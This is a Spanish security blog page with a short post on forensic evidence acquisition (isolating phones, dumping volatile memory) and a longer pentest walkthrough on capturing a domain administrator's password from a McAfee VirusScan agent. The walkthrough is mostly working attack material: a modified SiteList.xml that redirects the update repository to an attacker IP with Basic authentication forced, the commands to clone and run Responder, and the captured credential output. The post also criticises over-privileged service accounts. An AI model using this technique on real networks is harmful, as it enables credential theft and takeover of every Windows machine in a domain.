lunes, 8 de febrero de 2016

Adquisición de evidencia forense informática

La alteración de evidencias podría suceder incluso en remoto, pues en algunos dispositivos es posible hacer un reset de fábrica, un borrado o un bloqueo del terminal, simplemente enviando un mensaje. Además, las llamadas o los datos entrantes estarían contaminando las pruebas. Incluso si no hay evidencia de que esto haya sucedido, el simple hecho de que se tenga constancia de la existencia de vulnerabilidades asociadas al dispositivo, que pudieran ser explotadas para contaminar las evidencias, podría poner en evidencia la validez de las mismas. 
Por otra parte, existe también el riesgo de que, si el teléfono está infectado con malware, éste se propague por la red a la que se conecte el teléfono. Y aún más grave sería la posibilidad de que se trate de un teléfono bomba que pueda ser detonado en remoto.


Así pues, hay que aislar el terminal de cualquier tipo de red inalámbrica; lo que puede hacerse de alguna de las siguientes maneras:
- Poniéndolo en modo avión.
- Apagándose. Pero esto tiene el riesgo de que luego, al encenderlo, nos pida el pin y no podamos acceder a él para obtener las evidencias. Por ello, siempre es mejor dejarlo encendido y conectarlo a la corriente para que no se agote la batería.
- Guardándolo en una caja de Faraday.
- Sustituyendo la SIM por una CNIC (Cellular Network Isolation Card): esto permite que el teléfono siga encendido pero que no tenga conexión con la red de telefonía.
- Pidiéndole a la compañía telefónica que lo saque de la red o haciéndo nosotros mismos un jamming/spoofing del dispositivo (emitir una señal más fuerte que la de la torre que envíe un
no-carrier<"> al teléfono). Por supuesto, hay que tener en cuenta las implicaciones legales que estos dos métodos pueden tener. Normalmente son las Fuerzas y Cuerpos de Seguridad del Estado (u otros organismos estatales) los que podrán hacer eso, previa autorización judicial.


Otra buena guía es el manual de buenas prácticas de la ACPO (Association Of Chief Police Officers): Good Practice Guide for Computer-Based Electronic Evidence.



Por ejemplo, explica que de un ordenador en funcionamiento se pueden extraer detalles de la conexión a la red y datos de la memoria volátil. Es decir: procesos y servicios en ejecución, información del sistema, información de autoarranque, información del registro, puertos abiertos, puertos cerrados y puertos en escucha, ARP caché, aplicaciones desencriptadas, usuarios y contraseñas y código residente en memoria, entre otras cosas.


Esta información es importante porque permite comprender mejor qué estaba sucediendo en el ordenador en un momento determinado y complementa a la que se pueda extraer del disco. Por ejemplo, una de las cosas que se pueden investigar con los datos de la memoria volátil es la presencia de una puerta trasera abierta por un troyano.


Para recuperar la memoria volátil se puede utilizar un live-USB con las herramientas forenses adecuadas. Los pasos a seguir son:


- Conectar el USB.
- Ejecutar el script con las herramientas.
- Expulsar el USB.
- Desconectarlo.
- Ahora el sistema ya se puede apagar y el USB donde se ha guardado la información se conecta al equipo forense para analizarla, por ejemplo con Volatility.




No siempre es necesario acudir físicamente con las herramientas forenses al puesto a analizar. También se puede obtener información «al vuelo» desde la red a la que el equipo está conectado si está instalado un agente de software forense.

Otros dispositivos que también se pueden utilizar para obtener información de la conexión de red del dispositivo que se está analizando son los routers y firewalls (cortafuegos). Y puede consultarse desde consola.

Espero que os hayan gustado estas entradas como una pequeña introducción a la gestión de incidentes y adquisición de evidencias.


Por cierto, si queréis saber más sobre la adquisición de evidencias volátilies (a parte del volcado de la RAM), no dejéis de consultar este post de los chicos de Security at Work. Hay cosas muy interesantes.

Obteniendo privilegios de administrador de dominio con McAfee o la manía de usar cuentas con demasiados permisos

El título de esta entrada es tan largo como el tiempo que llevo encontrándome el uso de cuentas con demasiados privilegios para actualizar algunos programas. En serio que les agradezco que faciliten tanto la vida a la hora de hacer un pentest pero NO es necesario usar usuarios que pertenezcan al grupo de administradores de dominio para distribuir software en un Directorio Activo.



La consecuencia de hacerlo es que cualquier fallo puede derivar en el compromiso de todos los equipos Windows de una red local.


Hace unos días vimos un ejemplo cuando Toufik Airane publicó en Github cómo capturar las credenciales usadas por un agente McAfee VirusScan Enterprise 8.8 a la hora de intentar actualizarse contra los repositorios definidos en la ePO.
 
Concretamente los repositorios están definidos en "C:\ProgramData\McAfee\Common Framework\SiteList.xml", donde encontraremos los servidores para conectarse por HTTP o SMB (UNC) además de los nombres de usuario y las credenciales cifradas:

<?xml version="1.0" encoding="UTF-8"?>
<ns:SiteLists xmlns:ns="naSiteList" GlobalVersion="20150327073827" LocalVersion="Fri, 9 Oct 2013 09:23:23 UTC" Type="Client">
<Policies><Setting name="OverwriteClientSites">1</Setting><Setting name="nMaxHopLimit">1</Setting>
<Setting name="nMaxPingTimeout">5</Setting><Setting name="uiFindNearestMethod">2</Setting></Policies>

<SiteList Default="1" Name="SomeGUID">

<SpipeSite Type="master" Name="REPO1" Order="2" Enabled="1" Local="0" Server="servidor.dominio:8005" ServerName="servidor:8005" ServerIP="192.168.1.200:8005" Version="4.0.0"><RelativePath>Software</RelativePath><UseAuth>0</UseAuth><UserName></UserName><Password Encrypted="1">XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX</Password></SpipeSite>

<UNCSite Type="repository" Name="REPO2" Order="1" Server="servidor" Enabled="1" Local="0"><ShareName>Mad</ShareName><RelativePath></RelativePath><UseLoggedonUserAccount>0</UseLoggedonUserAccount><DomainName>*DOMINIO*</DomainName><UserName>usuario_epo</UserName><Password Encrypted="1">XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX</Password></UNCSite>

<HttpSite Type="fallback" Name="REPO3" Order="3" Enabled="1" Local="0" Server="update.nai.com:80"><RelativePath>Products/CommonUpdater</RelativePath><UseAuth>0</UseAuth><UserName>Anónimo</UserName><Password Encrypted="1">XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX</Password></HttpSite>

</SiteList>
</ns:SiteLists>

Como veremos para poder acceder al repositorio "REPO2" se utiliza el usuario 'usuario_epo'el cual, como podemos comprobar a continuación, es además miembro del grupo '*Domain Admins':

PS C:\Users\vmotos> net user usuario_epo /domain
Se procesará la solicitud en un controlador de dominio del dominio *DOMINIO*.

Nombre de usuario                          usuario_epo
Nombre completo                            usuario_epo
Comentario
Comentario del usuario
Código de país                             000 (Predeterminado por el equipo)
Cuenta activa                              Sí
La cuenta expira                           Nunca

Ultimo cambio de contraseña                16/03/2014 7:53:12
La contraseña expira                       Nunca
Cambio de contraseña                       16/03/2014 7:53:12
Contraseña requerida                       Sí
El usuario puede cambiar la contraseña     Sí

Estaciones de trabajo autorizadas          Todas
Script de inicio de sesión
Perfil de usuario
Directorio principal
Ultima sesión iniciada                     05/02/2016 18:12:03

Horas de inicio de sesión autorizadas      Todas

Miembros del grupo local
Miembros del grupo global                  *Domain Admins
                                           *Domain Users
Se ha completado el comando correctamente.

Como podémos imaginar, a partir de este momento ese usuario se convierte en la golosina más apetecible para cualquier atacante, que sólo tiene que modificar el archivo"SiteList.xml" (en un PC nuevo si la consola está protegida con contraseña) para que apunte a una IP maliciosa que estará escuchando ansiosamente la "llamada" con las valiosas credenciales:
<?xml version="1.0" encoding="UTF-8"?>
<ns:SiteLists xmlns:ns="naSiteList" Type="Client">
<SiteList Default="1" Name="SomeGUID">

<HttpSite Type="fallback" Name="PWNED!" Order="1" Enabled="1" Local="0" Server="192.168.1.32:80">
<RelativePath>LICORNE</RelativePath><UseAuth>1</UseAuth>
<UserName>usuario_epo</UserName>
<Password Encrypted="1">XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX</Password>
</HttpSite>

</SiteList></ns:SiteLists>
  
Puedes comprobar si tenemos acceso a la consola que la lista de repositorios de AutoUpdate ha sido modificada:

  
Ahora sólo falta levantar el servidor falso que recoja la contraseña. 

git clone https://github.com/SpiderLabs/Responder.git
cd Responder/
python Responder.py -I eth0 --basic


  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 2.3

  Original work by Laurent Gaffie (lgaffie@trustwave.com)
  To kill this script hit CRTL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    DNS/MDNS                   [ON]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [ON]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [ON]
    Force LM downgrade         [OFF]
    Fingerprint hosts          [OFF]

[+] Generic Options:
    Responder NIC              [eth0]
    Responder IP               [192.168.1.32]
    Challenge set              [1122334455667788]


[+] Listening for events...
 Por último forzamos la actualización...


Y ya tenemos la contraseña de todo un señor administrador de dominio: 
[*] [LLMNR]  Poisoned answer sent to 192.168.1.41 for name 192.168.1.32

[HTTP] Basic Client   : 192.168.1.41
[HTTP] Basic Username : usuario_epo
[HTTP] Basic Password : *\contraseña/*

Fuentehttps://github.com/tfairane/HackStory/blob/master/McAfeePrivesc.md